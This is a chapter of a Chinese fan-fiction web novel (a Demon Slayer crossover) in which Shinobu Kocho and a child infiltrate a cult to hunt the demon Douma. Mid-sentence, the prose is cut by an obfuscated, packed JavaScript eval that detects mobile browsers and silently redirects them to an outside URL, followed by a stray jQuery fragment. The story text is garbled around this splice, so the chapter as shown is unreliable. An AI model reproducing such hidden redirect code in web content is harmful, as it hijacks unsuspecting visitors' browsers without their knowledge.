78.潜入极乐教

作品:《我当精神病那些年[综崩铁]

    “呜…呜呜……”


    蝴蝶忍强忍着怒意,小步小步向前走着,嘴里僵硬地哼唧几下,所幸声音很轻,不靠近根本听不见。


    她按照小醒给的建议,在离那几个菜摊几步远的位置徘徊,时而惴惴不安地捧心,时而掩面攃不存在的眼泪,总之看天看地就是不愿意把脸露出来。


    忍住,她反复告诉自己,一定要忍住。


    果然,这副模样很快就引来了别人的注意。


    卖菜的阿姨关切地上前来,问:“姑娘,你这是怎么了?”


    “没,没事……”蝴蝶忍不自然地回答,超经意露出手背上化好的青紫块。


    一下就唬住人了。


    “哎呀,这是谁打的你?疼不疼啊?”


    接下来就是一场并不走心的戏,蝴蝶忍因为从来没扮演过这样的角色,念起台词来不太顺畅。但他们化的妆实在逼真,躲闪的眼神(其实是不会伪装)更让人误会,周围的人都觉得她是被打怕了都不敢找人帮忙了。


    卖菜的阿姨心地很好,还是体贴这种无路可去的女人的。


    “要不我给你介绍一个地方吧?”她压低声音,悄咪咪说,“我女儿也是出嫁之后经常被打,我男人又不许我管,后来她跑去信一个专门收留女人的教了,再也不怕了。”


    蝴蝶忍闻言呼吸一滞,拳头握得要在手心按出血来。


    她听见自己咬牙切齿:“真的吗?”


    “当然是真的!她还寄了很多吃的回来呢!”阿姨完全不知道自己的女儿掉进什么毒窟,“你要是愿意,我今天就带你去见介绍人啊!”


    “……”


    蝴蝶忍巴不得快点过去,但思及苍舒醒所说,又假装犹豫起来,“可是,我还有孩子……”


    “哎呀没事的,听说那个教主也喜欢孩子。要我说啊,那一定是个顶好的教,要是其他教会也那样就好了!”


    “……嗯。”


    蝴蝶忍发出一声不长不短的鼻音,其实牙齿已经咬到快要碎裂,就连嘴里都有了淡淡的血腥味。


    她不敢直视这位单纯的妇人,生怕对方看出自己眼中的仇恨与怒火。


    片刻后,她闷闷道:“我去接孩子。”


    “哎,快些啊,阿姨就在这儿等你!”


    暂时告别了卖菜阿姨,蝴蝶忍转身回到巷子,再也忍不住,一拳砸在墙上!


    “咚!”


    脆弱的土墙出现一个浅浅的小坑,血迹顺着指缝流淌下来。


    她喘着粗气,额头上青筋暴起,全然不见平时温和待人的模样,凡和暴躁实弥有点像。


    小醒接住她手上流的血,抹在她衣服上,“这样就更逼真了。”


    “……”


    “不想演了?”


    “我控制不住自己。”她咬着牙说,“一想到那个披着人皮的畜生还在金窝里挑选猎物,我就恨不得将他大卸八块!!!”


    “所以我带你来演了。”小醒把剩下的血抹在自己脸上,并把头发和衣服抓乱一点,营造出混乱中逃跑的假象。


    “你要把多余的情绪发泄在这里,给自己定下新的目标。


    “那里还有很多像大娘女儿那样的普通人,如果不想她们全部死光,就要小心行事。”


    “我知道,我知道……”


    蝴蝶忍闭上眼睛,用尽一切力气让自己平静下来。


    可人非草木。


    她无法平息。


    “你还有五分钟。”小醒提醒她,“根据我们塑造的人设,超过这个时间,就容易被怀疑了。”


    “……”


    她当然明白。


    于小巷中来回踱步,脚印覆盖一遍又一遍,她才勉强能装作稍微平静些的模样。


    再看向孩童,对方依旧面无表情,与平时别无二致。


    “……有时候,我觉得你和香奈乎有点像。”她突然说,“那孩子也是没有表情,也不会主动开启话题,看起来有几分木讷。”


    “你要带她去看病。”小醒平静道,“我是生了病才这样的。”


    “……病?”


    蝴蝶忍没听过这样的说法。


    在这个年代,精神病和心理疾病都不受医学和社会认可,人们只知道经历变故的人性格可能大变,但那也是归于“受了刺激想法变了”而已。


    她是很关心香奈乎的,说到底,香奈乎是她和姐姐共同抚养的小妹妹,是姐姐遗物中最重要的那一份,心里有个挂念,她就会平静许多。


    “好,今天回去,我就带她去最好的大医院里看西边来的医生。”


    如果她今天还能回去的话。


    太阳已经开始西沉了。


    她们在阿姨的带领下去见了万世极乐教的引荐人,那是一个对教会十分虔诚的女人,对蝴蝶忍的“悲惨遭遇”表达了十足的怜悯。


    “多么可怜啊,无助的女人和孩子。”


    她目光扫过脸上带血的小醒。


    蝴蝶忍化的妆刻意往提高年龄上带了一点,所以她带着一个八九岁大的孩子也不奇怪。但这个孩子与她长得并不像,还有一头异样的白发。


    引荐人沉沉叹了口气。


    哎,一定是因为生的孩子是白头发,被当成妖怪迁怒到母亲了吧,都是可怜人啊。


    小醒:……


    他庆幸自己是个面瘫。


    “教主会带你们去往天堂。”引荐人说,“跟我来吧,从今往后,你们就是全新的人了。”


    “谢谢……”蝴蝶忍几乎趴伏在地板上,掩盖于发丝之下的面容带着无法忽视的怒意。


    不多时,引荐人带她们上了山。


    这是一条很偏僻的路,几乎没有路标,正常情况下附近的居民基本不会自己逛过来。


    孩童的眼睛不动声色地观察四周,夜色和距离掩盖了几处树木的异常,看来炼狱清理的防火带还没有清到这里。


    空气里飘散着淡淡的血腥味和恶鬼独有的恶臭,而且正在变得浓郁。


    当穿过茂密的树林,一座富丽堂皇的教会就出现在他们面前。


    “我们信奉着教主,他会带我们去往天堂。”引荐人说,“进去吧,祝你们早日脱离苦海。”


    里面有侍女上前接应,二人告别引荐人,进入建筑内部。


    这是一座非常大的庭院,院落和连廊层层错错,七弯八绕的,很容易迷路。


    大片水池里种着各种颜色的荷花,水汽氤氲,在月色下竟真能给人几分“不似此间”的错觉。


    而孩童的眼睛盯着这些看似正常的景象,已经看穿了隐藏在华丽皮囊下的腐黑。


    建筑是木制的,材料是山上的树,建造的钱是信徒给的。


    边墙很高,只有一个出口,复杂的结构使信徒和外来人员在初期必须有人带领才能顺利出去。


    大面积的水和花朵掩盖了血腥味,水底淤泥下埋着人的尸骨,吸取足够营养的荷花能开得和现代农业精心照料后一样繁华。


    人间天堂?


    不,分明是披着天堂外衣的地狱。


    “这里就是你们的房间。”侍女把他们领到一处狭小拥挤的屋子,没给什么好脸色,“去,收拾好睡觉,明天和我们一起打扫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055801|184612||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    院子,没钱就要出力。”


    蝴蝶忍没回答,她也没想要回应,直接关门出去了。


    屋里的人隐约还能听见她嘟囔:“真是的,又有新的人来了,我什么时候才能去天堂啊……”


    “……”


    “我困了,妈妈。”小醒面无表情地扯扯蝴蝶忍的袖子。


    ——这屋子是大通铺,还有别人在,起码做个样子。


    “……”


    蝴蝶忍沉默地掀开被子,躺下。


    小醒也丝滑地钻进去,完全不管被子上还有没晒过太阳的霉味。


    他们将被子盖过头顶,在里头说小话。


    “人太多了。”蝴蝶忍握拳,“按照她们的说法,我们可能很久都见不到童磨!”


    “不用的。”小醒说,“你只要把脸洗干净就好了,他最喜欢吃漂亮的女人,下一个肯定会找你。”


    “……”蝴蝶忍感觉呼吸都要断了。


    一想到那家伙嚣张的表情、姐姐破碎的尸体,她真想直接撤去伪装把这里打穿!


    可是不行。


    这里还有太多的普通人,一旦打起来,伤亡必然惨重。


    至少……至少要把最近的那些人撤离出去……


    “总之别打草惊蛇,你先睡一觉补足体力,我去和炼狱会和。”小醒接着说,“不出意外的话明天就能打了。”


    “嗯。”蝴蝶忍尽力平复呼吸。


    对她来说,这会是很难熬的夜晚。


    仇人近在咫尺,但她不能动手,也无法动手……这个带她来报仇的小客人直接把她的刀和毒药都收走了!除了身体里的那些毒她什么武器都没有。


    小醒:这是对心性的修行!


    说好这些,他掀开被子,径直出了门。


    没有刻意隐藏脚步声,也没有悄悄开门关门,他假装自己就是一个半夜跑出去的普通小孩。


    同屋的人听见了他的动静,但那又怎样呢?没有人会在意一个小孩是出去玩、上厕所还是寻找吃的,毕竟那只是小孩而已。


    于是小醒一路畅通无阻,在边缘围墙上和炼狱杏寿郎会和。


    “你们平安无事,真好啊神使少年!”炼狱依旧一脸正气,浓郁的夜色都掩盖不住他那头张扬的金毛。


    小醒有点幻视猫头鹰,金色的猫头鹰,晚上飞出来捕猎,摸起来还会毛茸茸的……


    咳,跑远了,说重点。


    “明天中午之后,太阳落山之前,我们会正式和童磨对上。”他说,“在那之前你把汽油桶和炸药都安排好,听见里面打起来就点燃,把所有围墙都炸开。”


    “然后我也能加入战场了吗?!”


    “不,你要疏散群众,愿意跑的都不能留,不愿跑的就不管。”


    “但是我做不到!”炼狱突然反驳,“我无法对他人的死亡置之不理!”


    “那随便你。”小醒不是很想和他掰扯这些,“反正你不会死在这儿的。”


    说完,他跳下围墙,往里面走。


    但出去两步,他又回头,道:


    “但你需知道,人与鬼,可以不是生理分类。”


    什么生理分类?


    生来就在杀鬼世家的炼狱杏寿郎不是很明白这种说法。


    但反正他负责救人就是了吧!没问题!


    眼见孩童消失在错落的建筑中,他也跃下围墙,回去继续清理防火带。


    而他不知道的是,小醒在回那个通铺的路上还经过了一间比其他房屋都要华丽的屋子。


    他驻足,感受着那股浓烈的血腥味,推门而入。